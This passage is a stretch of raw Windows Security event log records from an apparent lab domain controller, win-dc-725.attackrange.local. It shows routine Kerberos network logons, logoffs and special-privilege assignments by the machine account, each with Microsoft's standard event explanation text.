Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248441 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB37D7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248440 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB377A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248439 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB377A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63917 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248438 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB377A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248437 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3718 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248436 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB3718 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63916 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248435 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3718 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248434 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB36BB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248433 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB36BB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63915 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248432 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB36BB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248455 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3958 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248454 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB3958 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63922 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248453 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3958 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248452 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB38FB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248451 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB38FB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63921 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248450 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB38FB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248449 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3899 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248448 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB3899 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63920 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248447 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3899 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248446 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB383C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248445 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB383C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63919 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248444 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB383C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248470 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB4A2D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248469 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB4A2D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63927 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248468 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB4A2D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248467 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB49BC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248466 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB49BC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63926 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248465 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB49BC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248464 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB4944 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon 